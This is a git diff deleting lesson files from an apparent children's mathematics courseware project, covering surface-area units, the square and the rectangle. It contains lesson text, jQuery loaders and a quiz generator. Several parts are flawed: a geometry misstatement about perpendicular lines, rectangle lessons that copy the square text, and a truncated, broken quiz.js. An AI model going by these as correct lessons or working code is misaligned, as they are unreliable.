+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m09/map412m09a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m09/map412m09a02/source.txt b/Save_Mathematics/P4/map412m09/map412m09a02/source.txt
deleted file mode 100755
index 54d7d21..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a02/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Guided Practice: Measurement of Surface and Land Area</h1>
-
-The computer will pose problems in converting between 
-units of surface area and land surface area. If the student gives an incorrect answer, 
-the computer will animate the procedure using conversion tables and explain it by 
-numerical reasoning.
diff --git a/Save_Mathematics/P4/map412m09/map412m09a03/a.txt b/Save_Mathematics/P4/map412m09/map412m09a03/a.txt
deleted file mode 100755
index 348bed7..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a03/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Measurement of Surface and Land Area</h1>
-
-<p>In this activity you will have an opportunity to show what you have learned 
-about the units of measurement for surface area and land area.</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m09/map412m09a03/css/divs.css b/Save_Mathematics/P4/map412m09/map412m09a03/css/divs.css
deleted file mode 100755
index 816e8e3..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m09/map412m09a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m09/map412m09a03/description.py b/Save_Mathematics/P4/map412m09/map412m09a03/description.py
deleted file mode 100644
index afb420e..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m09a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m09/map412m09a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m09/map412m09a03/js/lesson-karma.js
deleted file mode 100755
index 68bcb80..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a03/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m09/map412m09a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m09/map412m09a03/js/lesson.js b/Save_Mathematics/P4/map412m09/map412m09a03/js/lesson.js
deleted file mode 100755
index 638fb5b..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a03/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m09/map412m09a03/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m09/map412m09a03/lesson.js b/Save_Mathematics/P4/map412m09/map412m09a03/lesson.js
deleted file mode 100644
index 0398215..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m09/map412m09a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m09/map412m09a03/source.txt b/Save_Mathematics/P4/map412m09/map412m09a03/source.txt
deleted file mode 100755
index 348bed7..0000000
--- a/Save_Mathematics/P4/map412m09/map412m09a03/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Measurement of Surface and Land Area</h1>
-
-<p>In this activity you will have an opportunity to show what you have learned 
-about the units of measurement for surface area and land area.</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/activities.js b/Save_Mathematics/P4/map412m10/activities.js
deleted file mode 100755
index 2499aa0..0000000
--- a/Save_Mathematics/P4/map412m10/activities.js
+++ /dev/null
@@ -1,19 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m10a01','blue'],
-['2','2','map4','basic','map412m10a02','blue'],
-['3','3','map4','basic','map412m10a03','blue'],
-['4','4','map4','basic','map412m10a04','blue'],
-['5','5','map4','basic','map412m10a05','blue'],
-['6','6','map4','basic','map412m10a06','blue'],
-['7','7','map4','basic','map412m10a07','blue'],
-['8','8','map4','basic','map412m10a08','blue'],
-['9','9','map4','basic','map412m10a09','blue'],
-['10','10','map4','basic','map412m10a10','blue'],
-['11','11','map4','basic','map412m10a11','blue'],
-['12','12','map4','basic','map412m10a12','blue'],
-['13','13','map4','basic','map412m10a13','blue'],
-['14','14','map4','basic','map412m10a14','blue'],
-['15','15','map4','basic','map412m10a15','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m10/map412m10a01/a.txt b/Save_Mathematics/P4/map412m10/map412m10a01/a.txt
deleted file mode 100755
index 217a31c..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a01/a.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Square</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a01/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a01/css/divs.css
deleted file mode 100755
index f371ac6..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a01/description.py b/Save_Mathematics/P4/map412m10/map412m10a01/description.py
deleted file mode 100644
index cfeb674..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a01/js/lesson-karma.js
deleted file mode 100755
index bc6dab0..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a01/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a01 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a01/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a01/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a01/js/lesson.js
deleted file mode 100755
index 9d847b6..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a01/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a01/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a01/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a01/lesson.js
deleted file mode 100644
index ee256bf..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a01/source.txt b/Save_Mathematics/P4/map412m10/map412m10a01/source.txt
deleted file mode 100755
index 217a31c..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a01/source.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Square</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a02/a.txt b/Save_Mathematics/P4/map412m10/map412m10a02/a.txt
deleted file mode 100755
index 9fd551a..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Square</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a02/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a02/css/divs.css
deleted file mode 100755
index 6e070cd..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a02/description.py b/Save_Mathematics/P4/map412m10/map412m10a02/description.py
deleted file mode 100644
index 4b953b2..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a02/js/lesson-karma.js
deleted file mode 100755
index c7fd72a..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a02 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a02/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a02/js/lesson.js
deleted file mode 100755
index 3d7df4b..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a02/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a02/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a02/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a02/lesson.js
deleted file mode 100644
index a52f0ce..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a02/source.txt b/Save_Mathematics/P4/map412m10/map412m10a02/source.txt
deleted file mode 100755
index 9fd551a..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Square</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a03/a.txt b/Save_Mathematics/P4/map412m10/map412m10a03/a.txt
deleted file mode 100755
index 04c480e..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a03/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Square</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the square</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a03/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a03/css/divs.css
deleted file mode 100755
index 62416c9..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a03/js/lesson-karma.js
deleted file mode 100755
index e8b242f..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a03/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:18.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m09/map412m09a03 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m09/map412m09a03/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a03/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a03/js/lesson.js
deleted file mode 100755
index f95c885..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a03/js/lesson.js
+++ /dev/null
@@ -1,89 +0,0 @@
-//problems in computing the area and perimeter of squares given a side
-//problems in determining the length of a side given the area or the perimeter
-
-var something = ['yard','field','parking lot','floor','lake','pasture'];
-var units = ['mm2','cm2','dm2','m2','dam2','hm2','km2'];
-var factor = [0,100,10000,1000000,100000000,1000000000,1000000000000]
-var nunits = units.length;
-
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_operand(min,max) {
-  return Math.random()*(max-min) + min;
-};
-
-function shift(i1,i2,amount){
-  if(i2>i1){
-      f = factor[i2-i1];
-      return amount/f;
-  }else{
-      f = factor[i1-i2];
-      return amount*f;
-  }
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        type = Math.random();
-        if(type < 0.3){
-            //determine area from side
-            side = parseInt(generate_operand(1,100));
-            area = side*side;
-            quiztxt = quiztxt+'{ ques: "The side of a square is '
-            quiztxt = quiztxt+side+" in length. What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        }else if (type<0.6){
-            //determine perimeter from side
-            side = parseInt(generate_operand(1,100));
-            perimeter = 4*side;
-            quiztxt = quiztxt+'{ ques: "The side of a square is '
-            quiztxt = quiztxt+side+"	in length. What	is it's	perimeter?"+'"';
-            quiztxt = quiztxt+", ans:'"+perimeter+"'},\n"
-        }else if (type<0.8){
-            //determine side from perimeter
-            side = parseInt(generate_operand(1,100));
-            perimeter = 4*side;
-            area = side*side;
-            quiztxt = quiztxt+'{ ques: "The perimeter of a square is '
-            quiztxt = quiztxt+perimeter+" in length. What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        }else{
-            //determine perimeter from area
-            side = parseInt(generate_operand(1,100));
-            perimeter = 4*side;
-            area = side*side;
-            quiztxt = quiztxt+'{ ques: "The area of a square is '
-            quiztxt = quiztxt+area+" in size. What is it's perimeter?"+'"';
-            quiztxt = quiztxt+", ans:'"+perimeter+"'},\n"
-        };
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics11/map412m10/map412m10a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':'map412m10a03','text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a03/js/quiz.js b/Save_Mathematics/P4/map412m10/map412m10a03/js/quiz.js
deleted file mode 100755
index c242ce7..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a03/js/quiz.js
+++ /dev/null
@@ -1,14 +0,0 @@
-var quiz = {
-fill:[
-3 times longer than the shorter side. What is the length of it's longer side?", ans:'54'},
-{ ques: "The sides of a rectangle are 52 and 260 in length. What is it's area?", ans:'13520'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a03/source.txt b/Save_Mathematics/P4/map412m10/map412m10a03/source.txt
deleted file mode 100755
index 04c480e..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a03/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Square</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the square</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a04/a.txt b/Save_Mathematics/P4/map412m10/map412m10a04/a.txt
deleted file mode 100755
index 7cbcde1..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a04/a.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Rectangle</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a04/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a04/css/divs.css
deleted file mode 100755
index 9292d47..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a04/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a04 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a04/description.py
- */
diff --git a/Save_Mathematics/P4/map412m10/map412m10a04/description.py b/Save_Mathematics/P4/map412m10/map412m10a04/description.py
deleted file mode 100644
index 6125ef3..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map412m10a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a04/js/lesson-karma.js b/Save_Mathematics/P4/map412m10/map412m10a04/js/lesson-karma.js
deleted file mode 100755
index f31ec28..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a04/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2011/01/20 07:22:58.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics/P4/map412m10/map412m10a04 /home/tony/Desktop/git/newcontent/Mathematics/P4/map412m10/map412m10a04/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m10/map412m10a04/js/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a04/js/lesson.js
deleted file mode 100755
index f5b13c2..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a04/js/lesson.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a04/a.txt'})
-     .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a04/lesson.js b/Save_Mathematics/P4/map412m10/map412m10a04/lesson.js
deleted file mode 100644
index 8bd24d9..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m10/map412m10a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a04/source.txt b/Save_Mathematics/P4/map412m10/map412m10a04/source.txt
deleted file mode 100755
index 7cbcde1..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a04/source.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<h1>Introduction: Geometric Figures, the Rectangle</h1>
-
-The computer will show a drawing of a square. It will introduce the properties of a square: all sides are equal, all interior angles are right angles, the diagonals bisect the interior angles, the diagonals intersect to form right angles. Opposite sides are parallel.
-
-The computer will ask whether it is possible to have a square with all sides equal in length but not parallel? I
-
-If we have a figure with four equal sides and one of the interior angles is a right angle, is it a square?
-
-When we draw a diagonal, we form two triangles (right triangles). What do we know about the other interior angles of a right triangle? Can you see why we know the diagonal bisects (divides in half) the interior angles of the square?
-
-Think about the base of the square. The two diagonals from the bottom corners of the square intersect to form a triangle. From what we know about the bottom two angles, can we tell what kind of triangle it is. (Hint: if a triangle has two 45 degree angles, what is measure of the third angle). From this, can we say the the angle formed by the intersection of the diagonals is a right angle (90 degree) angle.
-
-If the bottom side of the square forms right angles with the right and left sides, we know the right and left sides are perpendicular to the bottom side.
-We also remember that two different perpendicular lines are parallel to each other.
-
-How can we draw a square? Perhaps we draw the base side. It's length will be the length of the other sides. Now we need to draw two lines perpendicular to the base (use a square, for example, a corner of a copy book). Then we could use a compass to measure the length of the base and mark the length of the perpendicular sides. If we connect the perpendicular lines at the point measured by the compass, we have a square.
-
-The computer will illustrate these points using an animated diagram of a square.
-
-The computer will introduce the concept of the perimeter as the sum of the lengths of the sides. It will point out that for a square the perimeter is 4x the length of one side.
-
-The computer will remind the student that the surface area of a square is the square of the length of a side.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a05/a.txt b/Save_Mathematics/P4/map412m10/map412m10a05/a.txt
deleted file mode 100755
index b87f948..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a05/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Geometric Figures, the Rectangle</h1>
-
-The computer will ask the student to draw a square on the computer using drag-able ruler and set square. If the student is unable to do this, the computer will animate the procedure with explanation.
-
-The computer will ask the student to construct a square using a drag-able straight edge and a compass. If the student is unable to do this, the computer will animate the procedure with explanation.
diff --git a/Save_Mathematics/P4/map412m10/map412m10a05/css/divs.css b/Save_Mathematics/P4/map412m10/map412m10a05/css/divs.css
deleted file mode 100755
index 2c948f9..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a05/css/divs.css
